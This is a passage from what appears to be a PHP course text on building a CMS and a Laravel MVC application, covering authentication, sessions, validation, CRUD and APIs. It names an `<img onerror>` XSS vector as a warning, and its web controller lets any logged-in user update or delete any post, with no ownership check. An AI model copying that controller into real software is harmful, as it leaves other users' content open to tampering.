Allowing HTML in content lets authors include rich formatting, links and images. It also introduces the risk of cross-site scripting.

Practical application:

- **Sanitise inputs** — use a library or function to clean user input and prevent XSS.
- **Use a WYSIWYG editor** — integrate an editor such as TinyMCE or CKEditor for content creation, allowing safe HTML input.
- **Server-side validation** — validate and sanitise the HTML before saving it to the database.

> `htmlspecialchars()` is the right tool when you want to display text **as text**. It is the wrong tool when you deliberately want to allow some HTML, because it escapes all of it.
>
> For content that must contain real HTML, use a purpose-built sanitiser such as **HTML Purifier**, which parses the HTML and removes anything dangerous while keeping the safe tags. Never write your own filter by stripping `<script>` — there are dozens of ways to run JavaScript without that tag, including `<img onerror="...">`.

Points to remember — Indicative content 3.4

- Clearly define the context of your CMS by specifying user roles, content types and workflows, so the system meets the intended requirements.
- Regularly review and update the context and options settings as the CMS evolves.
- Document the settings clearly for future reference and maintenance.
- **IDOR** is prevented by putting the ownership check into the query itself.
- Allowing HTML in content requires a real sanitiser, not an escape function and not a home-made filter.

3.5 Regulate page access

Duration: 4 hours

Key reading 3.5.1 — Regulating page access within a CMS

1. User authentication overview

User authentication ensures that only authorised users can reach certain areas or functions of a site. In a CMS this usually means managing administrator access to the backend, where content is created, updated and deleted.

Practical implementation:

- Implement a login form collecting the username and password.
- Use PHP sessions to manage the logged-in state.
- Protect specific pages, such as the admin dashboard, so that only authenticated users may reach them.

2. Create the admins table

An `admins` table stores the credentials and other information of the administrators who manage the CMS.

```
CREATE TABLE admins (
    id              INT AUTO_INCREMENT PRIMARY KEY,
    username        VARCHAR(255) NOT NULL UNIQUE,
    hashed_password VARCHAR(255) NOT NULL,
    created_at      DATETIME DEFAULT CURRENT_TIMESTAMP,
    updated_at      DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);
```

3. Build the admin dashboard

The dashboard is the central control panel where administrators manage content, users and settings. It must be protected by authentication.

Practical implementation:

- Create a `dashboard.php` that serves as the landing page after a successful login.
- Include links to manage subjects, pages and users.
- Display an overview of recent activity or content updates.

4. PHP password functions

PHP provides built-in functions for handling passwords securely: `password_hash()` creates a secure hash, and `password_verify()` checks an entered password against a stored hash.

Practical implementation:

- When creating a new administrator, use `password_hash()` to store the password securely.
- During login, use `password_verify()` to check whether the entered password matches the stored hash.

Creating the first administrator. Run this once, then delete the file:

```
<?php
require_once '../includes/db.php';

$username = "admin";
$password = "ChangeThisPassword123!";

$hash = password_hash($password, PASSWORD_DEFAULT);

$stmt = $pdo->prepare("INSERT INTO admins (username, hashed_password) VALUES (?, ?)");
$stmt->execute([$username, $hash]);

echo "Administrator created. Delete this file now.";
```

5. Authenticate user access

Authentication verifies that a user is who they claim to be — checking the username and password against the `admins` table.

```
<?php
// admin/login.php
session_start();
require_once '../includes/db.php';

$error = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';

    $stmt = $pdo->prepare("SELECT id, username, hashed_password FROM admins WHERE username
= ?");
    $stmt->execute([$username]);
    $admin = $stmt->fetch();

    if ($admin && password_verify($password, $admin['hashed_password'])) {
        session_regenerate_id(true);
        $_SESSION['admin_id']    = $admin['id'];
        $_SESSION['admin_name']  = $admin['username'];
        $_SESSION['last_active'] = time();
        header("Location: dashboard.php");
        exit;
    }

    $error = "Invalid username or password.";
}
```

6. Require authorisation

Authorisation checks whether a logged-in user has the right permissions to reach a resource or perform an action.

Practical implementation:

- Add an authorisation check at the top of every sensitive page.
- Call `require_login()` at the beginning of each protected page.

```
<?php
// includes/auth.php
session_start();

function is_logged_in() {
    return isset($_SESSION['admin_id']);
}

function require_login() {
    if (!is_logged_in()) {
        header("Location: login.php");
        exit;
    }

    // Expire after 30 minutes of inactivity
    if (isset($_SESSION['last_active']) && time() - $_SESSION['last_active'] > 1800) {
        session_unset();
        session_destroy();
        header("Location: login.php?msg=expired");
        exit;
    }
    $_SESSION['last_active'] = time();
}
```

Then, at the very top of `dashboard.php`, `subjects.php`, `pages.php` and every other protected file:

```
<?php
require_once '../includes/auth.php';
require_login();
```

7. Log the user out

Logging out terminates the session so the user no longer has access to restricted areas. Create a `logout.php` that destroys the session, as shown in Key Reading 3.3.1.

8. Optional password updating

The system should require the current password as well as the new one, so that someone who finds an unattended logged-in browser cannot change the password and take over the account.

```php
<?php
require_once '../includes/auth.php';
require_login();
require_once '../includes/db.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $current = $_POST['current_password'] ?? '';
    $new     = $_POST['new_password'] ?? '';
    $confirm = $_POST['confirm_password'] ?? '';

    $stmt = $pdo->prepare("SELECT hashed_password FROM admins WHERE id = ?");
    $stmt->execute([$_SESSION['admin_id']]);
    $admin = $stmt->fetch();

    if (!password_verify($current, $admin['hashed_password'])) {
        $error = "The current password is incorrect.";
    } elseif (strlen($new) < 8) {
        $error = "The new password must be at least 8 characters.";
    } elseif ($new !== $confirm) {
        $error = "The new passwords do not match.";
    } else {
        $hash = password_hash($new, PASSWORD_DEFAULT);
        $stmt = $pdo->prepare("UPDATE admins SET hashed_password = ? WHERE id = ?");
        $stmt->execute([$hash, $_SESSION['admin_id']]);
        $success = "Password updated successfully.";
    }
}
```

Points to remember — Indicative content 3.5

- Protect every administrative page with a single `require_login()` call at the top. One page that forgets it opens the whole system.
- Store password **hashes**, never passwords, using `password_hash()` and `password_verify()`.
- Regenerate the session ID after login, and expire idle sessions.
- Require the current password before allowing a password change.

3.6 CMS error detection

Duration: 2 hours

Key reading 3.6.1 — Detecting errors in a CMS

The general treatment of errors and exceptions is in Indicative Content 2.4. This section applies it to the CMS.

Development configuration — put this at the top of your bootstrap file while building:

```
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
```

Production configuration — and this when the site goes live:

```
<?php
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', __DIR__ . '/../logs/errors.log');
```

A simple debugging helper

```
<?php
function dd($value) {
    echo "<pre style='background:#222;color:#0f0;padding:15px;'>";
    var_dump($value);
    echo "</pre>";
    die();
}

// Use it to inspect anything: dd($_POST); dd($user);
```

The errors you will actually meet in this project

Message	Cause	Fix
Headers already sent	Output, often a blank line, before `session_start()`, `setcookie()` or `header()`	Remove whitespace before `<?php`, and remove the closing `?>` from PHP-only files
Undefined array key	Reading `$_POST['x']` when the form did not send it	Use `$_POST['x'] ?? ''`
Call to a member function on null	The database query returned nothing	Check the result before using it
SQLSTATE[42S02] Base table not found	The table name is wrong, or you are on the wrong database	Check the name in phpMyAdmin
SQLSTATE[HY000] Access denied	Wrong username or password in the connection	Check `config.php`
A blank white page	A fatal error with `display_errors` off	Turn error display on, or read the error log

> A blank page is not “nothing happened” — it is almost always a fatal error being hidden. Turn on error display, or open the log, before doing anything else.

Points to remember — Indicative content 3.6

- Show errors in development; log them in production.
- A blank page means a hidden fatal error. Look at the log.
- “Headers already sent” is nearly always whitespace before the opening PHP tag or after a closing one.
- Read the error message first. It gives the file and the line.

3.7 Maintain the CMS

Duration: 2 hours

Key reading 3.7.1 — Maintaining a CMS

Maintenance is what keeps a working system working after it is handed over.

Regular tasks

Task	Frequency	Why
Back up the database	Daily	The only protection against data loss and ransomware
Back up the uploaded files	Weekly	The database does not contain the images
Apply PHP and library updates	Monthly	Security patches
Review the error log	Weekly	Problems appear here before users report them
Review user accounts	Quarterly	Remove accounts of people who have left
Check disk space	Monthly	Uploads and logs fill disks quietly
Test the restore procedure	Quarterly	A backup you have never restored is not a backup

Backing up the database

```
# Create a backup
mysqldump -u root -p cms > backup_2025_09_05.sql

# Restore from one
mysql -u root -p cms < backup_2025_09_05.sql
```

Backing up from PHP, for a scheduled task:

```
<?php
$date = date('Y-m-d');
$file = __DIR__ . "/backups/cms_backup_{$date}.sql";
exec("mysqldump -u root cms > " . escapeshellarg($file));
```

Documentation to hand over with the system: the database schema, the folder structure, how to add an administrator, how to restore a backup, and where the error log lives. Without these, the next person maintaining the system has to rediscover everything.

Points to remember — Indicative content 3.7

- Back up regularly and **test the restore**.

- Keep PHP and any libraries updated; most breaches exploit known, already-patched vulnerabilities.
- Read the error log before users tell you something is broken.
- Document the system for whoever maintains it next — which may be you, a year from now.

LO4 · Build a Web App Using an MVC Framework (Laravel)

Duration: 45 hours

Objectives

By the end of this learning outcome you will be able to configure a framework environment, set up custom routing, perform form data validation, perform CRUD operations, manage APIs, implement authentication and security, and handle API versioning and documentation.

4.1 Framework environment configuration

Key reading 4.1.1 — Introduction to PHP frameworks

A **PHP framework** is a collection of pre-written code that helps developers build web applications more efficiently. It is like a toolbox full of useful tools and blueprints. Instead of starting from scratch each time, a framework gives you a solid foundation and structure to build on.

How a PHP framework works

Most PHP frameworks follow a design pattern called **MVC (Model-View-Controller)**, which organises code by separating different parts of the application:

- **Model** — handles the data and the business logic, including interaction with the database.
- **View** — handles the user interface, what the user sees and interacts with.
- **Controller** — acts as the intermediary. It takes input from the view, processes it using the model, and updates the view accordingly.

Why use a PHP framework?

When building a web application there are many common tasks to handle:

- Connecting to a database
- Handling user input and forms
- Managing sessions and cookies
- Routing URLs, deciding what happens when a user visits a specific page
- Ensuring security, such as protecting against SQL injection

A framework provides pre-built components and libraries that make these tasks easier and more standardised, so you do not write the same code repeatedly. This saves time and reduces the number of errors.

Benefits of using a framework

1. **Faster development** — you are not starting from scratch.
2. **Better organisation** — MVC and other patterns keep code organised, easier to maintain and to scale.
3. **Security** — frameworks include built-in protection against common vulnerabilities.
4. **Community support** — popular frameworks have large communities, so tutorials, documentation and help are readily available.

The main PHP frameworks

Laravel — the most popular PHP framework. Elegant syntax, Eloquent ORM, Blade templating, built-in authentication, and by far the largest ecosystem. *Advantages:* rapid development,

excellent documentation, a huge package library. *Disadvantages:* heavier than micro-frameworks; the learning curve for its conventions.

CakePHP — a widely used, free, open-source framework employing MVC. It is designed to simplify development, reduce coding effort and cut costs. *Characteristics:* it segments work independently, so developers can modify one part without affecting others; it is feature-rich, with frequent updates; it has automated configuration, where sensible defaults make setup easier; code scaffolding for rapid generation; and simplified class handling. *Advantages:* flexibility, time and cost efficiency, ease of use. *Disadvantages:* some developers find it complex to learn initially, and as a full-stack framework it introduces overhead on small projects.

Symfony — a mature, highly modular framework whose components underpin many other projects, including parts of Laravel itself. Favoured in large enterprise applications.

CodeIgniter — a lightweight framework with a very small footprint and a gentle learning curve. Good for small projects and shared hosting.

Slim — a micro-framework for building APIs, providing routing and little else.

For this module, Laravel.

Key reading 4.1.2 — Laravel MVC architecture

Laravel, as one of the most popular PHP frameworks, follows the MVC pattern. This pattern separates concerns, making applications more organised and maintainable.

The components

a) Model. The Model represents the data and the logic behind it. It interacts with the database, retrieves data and performs business logic. A `User` model represents the users in your application and interacts with the table storing their information.

Key features: **Eloquent ORM**, Laravel's built-in object-relational mapping tool, makes database interaction simple and intuitive. **Relationships** can be defined on models — one-to-many, many-to-many — which simplify complex queries.

b) View. The View is responsible for the user interface and presentation logic. It displays data and provides a way to interact with the application. A `welcome.blade.php` file is a view.

Key features: the **Blade templating engine** lets you use plain PHP in views while providing templating features such as layouts, sections and components. **Data binding** lets you pass data from the controller to the view with `compact` or `with`.

c) Controller. The Controller handles user input and interacts with the Model to fetch or modify data. It then selects the appropriate View to render. A `UserController` handles requests relating to user data.

Key features: **routing** maps controllers to URL patterns; **request handling** processes HTTP requests and determines the response.

The flow of a Laravel MVC application

1. **User interaction** — the user interacts with the application through the browser.
2. **Controller** — the request is routed to the appropriate controller.
3. **Model** — the controller interacts with the model to retrieve or change data.
4. **View** — the controller passes the data to the view, which generates the HTML returned to the browser.

Advantages of MVC in Laravel

- **Separation of concerns** — business logic, interface and input handling are clearly separated.
- **Reusability** — models, views and controllers can be reused across the application.
- **Testability** — the separation allows each component to be tested on its own.
- **Scalability** — the architecture supports growth by adding layers or components.

An example. Building a blog application: you would have a `Post` **model** representing blog posts; **views** such as `posts.index` to list all posts and `posts.show` to display one; and a `PostController` managing the logic for displaying, creating and editing posts.

Practical activity 4.1.3 — Installing Laravel

Key reading 4.1.3 — Installing the Laravel framework

Before beginning, you need:

- **PHP 8.1 or higher**
- **Composer**, the dependency manager for PHP, used to install Laravel and its dependencies

Step 1 — Check PHP:

```
php --version
```

Step 2 — Install Composer. Download the installer from **getcomposer.org** and run it. On Windows use `Composer-Setup.exe`, which finds your PHP installation automatically. Verify:

```
composer --version
```

Step 3 — Create a new Laravel project:

```
composer create-project laravel/laravel my-app
cd my-app
```

Composer downloads Laravel and every package it depends on into a `vendor/` folder. This takes a few minutes the first time.

Step 4 — Run the development server:

```
php artisan serve
```

Open `http://127.0.0.1:8000` and you should see the Laravel welcome page.

The Laravel folder structure

Folder	Contains
`app/Models/`	Eloquent models
`app/Http/Controllers/`	Controllers
`app/Http/Middleware/`	Middleware
`routes/web.php`	Web routes, returning HTML
`routes/api.php`	API routes, returning JSON
`resources/views/`	Blade templates
`database/migrations/`	Database schema definitions
`database/seeders/`	Sample data
`public/`	The web root — the only folder exposed to the internet
`config/`	Configuration files
`.env`	Environment-specific settings
`vendor/`	Installed packages — never edited, never committed

`artisan`, the command-line tool. Most of your work with Laravel goes through it:

```
php artisan serve                          # start the development server
php artisan make:model Post -mcr           # model + migration + controller + resource
php artisan make:controller PostController # a controller alone
php artisan make:migration create_posts_table
php artisan migrate                        # apply the migrations
php artisan migrate:fresh --seed           # rebuild the database and seed it
php artisan route:list                     # show every registered route
php artisan tinker                         # an interactive shell for your application
php artisan cache:clear                    # clear the cache
```

Practical activity 4.1.4 — Configuring the `.env` file

Key reading 4.1.4 — Configuring the Laravel `.env` file

The `.env` file is a configuration file storing environment-specific settings. It manages your application's behaviour across environments — local development, staging and production. It sits in the root directory of the project.

Key concepts

1. Environment variables. The `.env` file defines key-value pairs accessible throughout the application, letting you manage settings without hard-coding them.

2. Security. The `.env` file is **excluded from version control** by default, because it contains sensitive information such as database credentials and API keys. Each environment should have its own `.env` with settings appropriate to it.

Common `.env` variables

```
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:generated_app_key
APP_DEBUG=true
APP_URL=http://localhost
```

Variable	Purpose
`APP_NAME`	The name of your application, used in emails and page titles
`APP_ENV`	The environment: `local`, `staging` or `production`. Laravel behaves differently according to this
`APP_KEY`	A 32-character random string used to encrypt data. Generated automatically when the project is created. **Never share it**
`APP_DEBUG`	When `true`, Laravel displays detailed error pages. **Set it to `false` in production** or you expose your code and configuration
`APP_URL`	The base URL, used when generating links

Database configuration. By default a new Laravel application is configured to use SQLite. To use MySQL instead:

```
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=my_app
DB_USERNAME=root
DB_PASSWORD=
```

Create the database in phpMyAdmin, then run:

```
php artisan migrate
```

> `APP_DEBUG=true` on a live site is one of the most common serious mistakes in Laravel deployment. Laravel's debug page shows your file paths, your environment variables — including database passwords — and a full stack trace. Set it to `false` in production, always.

Practical activity 4.1.5 — Using Blade templates

Key reading 4.1.5 — Laravel Blade templating

Blade is Laravel's templating engine. Blade files end in `.blade.php` and live in `resources/views/`.

A layout — `resources/views/layouts/app.blade.php`:

```
<!DOCTYPE html>
<html>
<head>
    <title>@yield('title', 'My Application')</title>
    <link rel="stylesheet" href="{{ asset('css/app.css') }}">
</head>
<body>
    <nav>
        <a href="{{ route('posts.index') }}">Posts</a>
        @auth
            <a href="{{ route('posts.create') }}">New post</a>
        @endauth
    </nav>

    <main>
        @yield('content')
    </main>
</body>
</html>
```

A page using it — `resources/views/posts/index.blade.php`:

```
@extends('layouts.app')

@section('title', 'All posts')

@section('content')
    <h1>All posts</h1>

    @if (session('success'))
        <p style="color:green;">{{ session('success') }}</p>
    @endif

    @forelse ($posts as $post)
        <article>
            <h2><a href="{{ route('posts.show', $post) }}">{{ $post->title }}</a></h2>
            <p>{{ Str::limit($post->body, 150) }}</p>
        </article>
    @empty
        <p>There are no posts yet.</p>
    @endforelse

    {{ $posts->links() }}
@endsection
```

Blade syntax you will use constantly

Directive	Purpose
`{{ $variable }}`	Print a value, **automatically escaped against XSS**
`{!! $html !!}`	Print unescaped — only for HTML you trust
`@if / @elseif / @else / @endif`	Conditionals
`@foreach / @endforeach`	Loop
`@forelse / @empty / @endforelse`	Loop with an empty case
`@extends('layout')`	Use a layout
`@section / @endsection`	Define a section
`@yield('name')`	Output a section in the layout
`@include('partial')`	Include another view
`@csrf`	Output the CSRF hidden field
`@method('PUT')`	Spoof an HTTP method HTML cannot send
`@auth / @guest`	Show content according to login state

`{{ }}` escaping is worth noticing: in Blade, output is escaped **by default**, which is the reverse of plain PHP and prevents a whole class of XSS bugs.

4.2 Setup Laravel custom routing

Key reading 4.2.1 — Description of Laravel custom routing

1. Overview

Routing defines how incoming requests are handled. It maps URLs to specific controllers, methods or actions.

Types of routing:

- **Web routing** — routes for traditional web applications, usually returning HTML views. Defined in `routes/web.php`.
- **API routing** — routes for API requests, usually returning JSON. Defined in `routes/api.php`.

2. Basic routing

Routes are defined in `routes/web.php` or `routes/api.php`. Laravel provides methods matching the HTTP verbs: `get`, `post`, `put`, `patch` and `delete`.

Closure routes define a route with a function written directly in the route definition.

```
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\PostController;

// A closure route
Route::get('/hello', function () {
    return 'Hello, world!';
});

// A route returning a view
Route::get('/about', function () {
    return view('about');
});

// A route pointing at a controller method
Route::get('/posts', [PostController::class, 'index']);
Route::post('/posts', [PostController::class, 'store']);
```

3. Routing parameters

Required parameters appear in the definition, such as `/user/{id}`. **Optional parameters** are marked with `?`, such as `/user/{name?}`. **Route constraints** restrict the format of a parameter using a regular expression.

```php
<?php
// Required
Route::get('/user/{id}', function ($id) {
    return "User ID: $id";
});

// Optional, with a default
Route::get('/user/{name?}', function ($name = 'Guest') {
    return "Hello, $name";
});

// Constrained — only accepts digits
Route::get('/post/{id}', [PostController::class, 'show'])->where('id', '[0-9]+');
```

4. Named routes

Named routes allow easier reference to a route elsewhere in the application, giving flexibility when URLs change. They are used in redirects, links and route generation.

```php
<?php
Route::get('/posts/{post}', [PostController::class, 'show'])->name('posts.show');
```

```php
<a href="{{ route('posts.show', $post) }}">Read more</a>
```

If the URL later changes from `/posts/{post}` to `/articles/{post}`, every link updates automatically, because they refer to the **name**, not the path.

5. Middleware

Middleware filters HTTP requests entering the application. It is used for tasks such as authentication and logging.

Middleware can be applied **globally**, to all routes, or **specifically**, to chosen routes. Common examples are `auth` for authentication, `throttle` for rate limiting, and custom middleware for your own needs.

```php
<?php
Route::get('/dashboard', [DashboardController::class, 'index'])->middleware('auth');
```

6. Route groups

Route groups apply common attributes such as middleware or a URL prefix to several routes at once, making route management more efficient.

```php
<?php
Route::middleware('auth')->prefix('admin')->name('admin.')->group(function () {
    Route::get('/dashboard', [AdminController::class, 'index'])->name('dashboard');
    Route::get('/users',     [AdminController::class, 'users'])->name('users');
});
// These become /admin/dashboard and /admin/users, named admin.dashboard and admin.users,
// and both require authentication.
```

Resource routes — one line creating all seven CRUD routes:

```php
<?php
Route::resource('posts', PostController::class);
```

Verb	URL	Controller method	Route name
GET	`/posts`	`index`	`posts.index`
GET	`/posts/create`	`create`	`posts.create`
POST	`/posts`	`store`	`posts.store`
GET	`/posts/{post}`	`show`	`posts.show`
GET	`/posts/{post}/edit`	`edit`	`posts.edit`
PUT/PATCH	`/posts/{post}`	`update`	`posts.update`
DELETE	`/posts/{post}`	`destroy`	`posts.destroy`

Run `php artisan route:list` at any time to see every route your application has registered.

4.3 Perform form data validation

Key reading 4.3.1 — Data validation in Laravel

Data validation ensures the data received from users is accurate, complete and secure before being processed or stored. In Laravel it is straightforward and powerful.

Why validation matters

- **Security** — prevents malicious input that could exploit vulnerabilities.
- **Data integrity** — ensures the data stored is clean, consistent and as expected.
- **User experience** — provides feedback helping users correct mistakes.

Validating the CSRF token. CSRF is an attack in which unauthorised commands are transmitted from a user the application trusts. To mitigate it, Laravel includes a CSRF token in every form it generates. Validating the token ensures the request is genuine and originates from the authenticated user.

Laravel generates a unique token for each session, included in every form as a hidden field. When the form is submitted, Laravel verifies that the token matches the one in the session. You simply add `@csrf` inside every form:

```
<form method="POST" action="{{ route('posts.store') }}">
    @csrf
    <input type="text" name="title">
    <button type="submit">Save</button>
</form>
```

Validating form elements. Form elements — text inputs, textareas, checkboxes, radio buttons, dropdowns, file uploads — capture user input and must be validated so that the data meets the required criteria before processing.

Validation in controllers. The most common place to validate is in a controller method handling a form submission or API request, using the `validate` method on the `Request` object.

```php
<?php
public function store(Request $request)
{
    $validated = $request->validate([
        'title'   => 'required|string|max:255',
        'body'    => 'required|string|min:20',
        'email'   => 'required|email|unique:users,email',
        'age'     => 'nullable|integer|min:18|max:120',
        'photo'   => 'nullable|image|mimes:jpg,png|max:2048',
        'category_id' => 'required|exists:categories,id',
    ]);

    Post::create($validated);

    return redirect()->route('posts.index')
                     ->with('success', 'Post created successfully.');
}
```

If validation fails, the `validate` method automatically redirects the user back to the previous page with the errors. If it passes, the validated data is returned as an array.

Displaying the errors in Blade:

```
@if ($errors->any())
    <div class="alert">
        <ul>
        @foreach ($errors->all() as $error)
            <li>{{ $error }}</li>
        @endforeach
        </ul>
    </div>
@endif

<input type="text" name="title" value="{{ old('title') }}">
@error('title') <span style="color:red;">{{ $message }}</span> @enderror
```

`old('title')` refills the field with what the user typed, so a validation failure does not force them to retype everything.

Common validation rules

Rule	Meaning
`required`	Must be present and not empty
`nullable`	May be null
`string`, `integer`, `numeric`, `boolean`	Type
`email`	A valid email address
`min:8`, `max:255`	Length for strings, value for numbers
`unique:users,email`	Must not already exist in that table
`exists:categories,id`	Must exist in that table
`confirmed`	Requires a matching `field_confirmation` input
`in:draft,published`	Must be one of these values
`image`, `mimes:jpg,png`, `max:2048`	File rules; `max` is in kilobytes
`date`, `after:today`	Dates

Form Request classes move validation out of the controller when the rules grow:

```
php artisan make:request StorePostRequest
```

```
<?php
class StorePostRequest extends FormRequest
{
    public function authorize(): bool
    {
        return auth()->check();
    }

    public function rules(): array
    {
        return [
            'title' => 'required|string|max:255',
            'body'  => 'required|string|min:20',
        ];
    }

    public function messages(): array
    {
        return [
            'title.required' => 'Please give the post a title.',
            'body.min'       => 'The post must be at least 20 characters long.',
        ];
    }
}
```

Then the controller becomes simply:

```
public function store(StorePostRequest $request)
{
    Post::create($request->validated());
    return redirect()->route('posts.index');
}
```

4.4 Perform CRUD operations in Laravel

Key reading 4.4.1 — CRUD operations in Laravel

Laravel implements CRUD through **Eloquent**, its object-relational mapper, in which each database table has a corresponding Model class.

Step 1 — Create the model, migration and controller in one command:

```
php artisan make:model Post -mcr
```

The flags mean: `-m` migration, `-c` controller, `-r` resource controller with all seven CRUD methods ready.

Step 2 — Define the migration in `database/migrations/…_create_posts_table.php`:

```
<?php
public function up(): void
{
    Schema::create('posts', function (Blueprint $table) {
        $table->id();
        $table->foreignId('user_id')->constrained()->onDelete('cascade');
        $table->string('title');
        $table->text('body');
        $table->enum('status', ['draft', 'published'])->default('draft');
        $table->timestamps();
    });
}
```

```
php artisan migrate
```

Step 3 — Define the model in `app/Models/Post.php`:

```php
<?php
namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Factories\HasFactory;

class Post extends Model
{
    use HasFactory;

    // Which fields may be filled in bulk — protects against mass assignment
    protected $fillable = ['user_id', 'title', 'body', 'status'];

    // A post belongs to one user
    public function user()
    {
        return $this->belongsTo(User::class);
    }

    // A query scope, so you can write Post::published()->get()
    public function scopePublished($query)
    {
        return $query->where('status', 'published');
    }
}
```

Step 4 — The controller in `app/Http/Controllers/PostController.php`:

```php
<?php
namespace App\Http\Controllers;

use App\Models\Post;
use Illuminate\Http\Request;

class PostController extends Controller
{
    // READ — list them all
    public function index()
    {
        $posts = Post::with('user')->latest()->paginate(10);
        return view('posts.index', compact('posts'));
    }

    // CREATE — show the form
    public function create()
    {
        return view('posts.create');
    }

    // CREATE — save the submission
    public function store(Request $request)
    {
        $validated = $request->validate([
            'title'  => 'required|string|max:255',
            'body'   => 'required|string|min:20',
            'status' => 'required|in:draft,published',
        ]);

        $validated['user_id'] = auth()->id();
        Post::create($validated);

        return redirect()->route('posts.index')
                         ->with('success', 'Post created successfully.');
    }

    // READ — show one
    public function show(Post $post)
    {
        return view('posts.show', compact('post'));
    }

    // UPDATE — show the form
    public function edit(Post $post)
    {
        return view('posts.edit', compact('post'));
    }

    // UPDATE — save the changes
    public function update(Request $request, Post $post)
    {
        $validated = $request->validate([
            'title'  => 'required|string|max:255',
            'body'   => 'required|string|min:20',
            'status' => 'required|in:draft,published',
        ]);

        $post->update($validated);
```

```
        return redirect()->route('posts.index')
                         ->with('success', 'Post updated successfully.');
    }

    // DELETE
    public function destroy(Post $post)
    {
        $post->delete();

        return redirect()->route('posts.index')
                         ->with('success', 'Post deleted successfully.');
    }
}
```

The `Post $post` type hint in `show`, `edit`, `update` and `destroy` is **route model binding**: Laravel takes the ID from the URL, fetches that record, and gives you the object — automatically returning a 404 if it does not exist.

Step 5 — The routes:

```
<?php
Route::resource('posts', PostController::class);
```

Step 6 — The views. `resources/views/posts/create.blade.php`:

```
@extends('layouts.app')

@section('content')
    <h1>New post</h1>

    <form method="POST" action="{{ route('posts.store') }}">
        @csrf

        <p>
            <label>Title</label><br>
            <input type="text" name="title" value="{{ old('title') }}">
            @error('title') <span style="color:red;">{{ $message }}</span> @enderror
        </p>

        <p>
            <label>Body</label><br>
            <textarea name="body" rows="8">{{ old('body') }}</textarea>
            @error('body') <span style="color:red;">{{ $message }}</span> @enderror
        </p>

        <p>
            <select name="status">
                <option value="draft">Draft</option>
                <option value="published">Published</option>
            </select>
        </p>

        <button type="submit">Save</button>
    </form>
@endsection
```

`resources/views/posts/edit.blade.php` differs in two ways — the action, and the method spoofing:

```
<form method="POST" action="{{ route('posts.update', $post) }}">
    @csrf
    @method('PUT')
    <input type="text" name="title" value="{{ old('title', $post->title) }}">
    ...
</form>
```

And deletion needs a form, not a link, because a link cannot send a DELETE request:

```
<form method="POST" action="{{ route('posts.destroy', $post) }}"
      onsubmit="return confirm('Delete this post?');">
    @csrf
    @method('DELETE')
    <button type="submit">Delete</button>
</form>
```

Eloquent query methods worth knowing

```
Post::all();                            // every record
Post::find(1);                          // by primary key
Post::findOrFail(1);                    // or throw a 404
Post::where('status', 'published')->get();
Post::where('title', 'like', '%php%')->first();
Post::latest()->take(5)->get();
Post::published()->paginate(15);        // using the scope defined earlier
Post::with('user')->get();              // eager loading — avoids the N+1 problem
Post::count();
Post::create([...]);
$post->update([...]);
$post->delete();
```

4.5 Manage APIs in Laravel

Key reading 4.5.1 — Introduction to API development

An **API (Application Programming Interface)** allows two applications to communicate. A web API receives HTTP requests and returns data — usually **JSON** — rather than HTML. This is what lets a mobile application, a JavaScript front end, or a partner company's system use your data.

REST conventions map HTTP verbs to actions:

Verb	URL	Action
GET	`/api/posts`	List all
GET	`/api/posts/1`	Show one
POST	`/api/posts`	Create
PUT/PATCH	`/api/posts/1`	Update
DELETE	`/api/posts/1`	Delete

HTTP status codes you must use correctly

Code	Meaning
200 OK	The request succeeded
201 Created	A resource was created
204 No Content	Succeeded, nothing to return — used after DELETE
400 Bad Request	The request was malformed
401 Unauthorized	Not authenticated
403 Forbidden	Authenticated but not permitted
404 Not Found	The resource does not exist
422 Unprocessable Entity	Validation failed
500 Internal Server Error	Something broke on the server

Key reading 4.5.2 — Using and managing APIs in Laravel

API routes — in `routes/api.php`. Every route here is automatically prefixed with `/api` and is stateless, using tokens rather than sessions.

```
<?php
use App\Http\Controllers\Api\PostApiController;

Route::get('/posts',      [PostApiController::class, 'index']);
Route::get('/posts/{id}', [PostApiController::class, 'show']);

Route::middleware('auth:sanctum')->group(function () {
    Route::post('/posts',         [PostApiController::class, 'store']);
    Route::put('/posts/{id}',     [PostApiController::class, 'update']);
    Route::delete('/posts/{id}',  [PostApiController::class, 'destroy']);
});
```

An API controller:

```
php artisan make:controller Api/PostApiController --api
```

```php
<?php
namespace App\Http\Controllers\Api;

use App\Http\Controllers\Controller;
use App\Models\Post;
use Illuminate\Http\Request;

class PostApiController extends Controller
{
    public function index()
    {
        return response()->json([
            'success' => true,
            'data'    => Post::published()->latest()->paginate(15),
        ]);
    }

    public function show($id)
    {
        $post = Post::find($id);

        if (!$post) {
            return response()->json([
                'success' => false,
                'message' => 'Post not found',
            ], 404);
        }

        return response()->json(['success' => true, 'data' => $post]);
    }

    public function store(Request $request)
    {
        $validated = $request->validate([
            'title' => 'required|string|max:255',
            'body'  => 'required|string|min:20',
        ]);

        $validated['user_id'] = $request->user()->id;
        $post = Post::create($validated);

        return response()->json([
            'success' => true,
            'data'    => $post,
        ], 201);
    }

    public function destroy(Request $request, $id)
    {
        $post = Post::findOrFail($id);

        if ($post->user_id !== $request->user()->id) {
            return response()->json(['message' => 'Forbidden'], 403);
        }

        $post->delete();
        return response()->json(null, 204);
    }
}
```

API Resources shape the JSON, so you control exactly which fields are exposed:

```
php artisan make:resource PostResource
```

```
<?php
public function toArray($request): array
{
    return [
        'id'        => $this->id,
        'title'     => $this->title,
        'excerpt'   => Str::limit($this->body, 100),
        'author'    => $this->user->name,
        'published' => $this->created_at->toDateString(),
        // Note: user_id and status are deliberately NOT exposed
    ];
}
```

4.6 Authentication and security

Key reading 4.6.1 — API authentication and security

Because API requests are stateless, they cannot use sessions. Each request must carry proof of who is making it.

Token-based authentication with Laravel Sanctum

```
composer require laravel/sanctum
php artisan vendor:publish --provider="Laravel\Sanctum\SanctumServiceProvider"
php artisan migrate
```

Add the trait to the User model:

```
<?php
use Laravel\Sanctum\HasApiTokens;

class User extends Authenticatable
{
    use HasApiTokens, HasFactory, Notifiable;
}
```

Issuing a token on login:

```
<?php
public function login(Request $request)
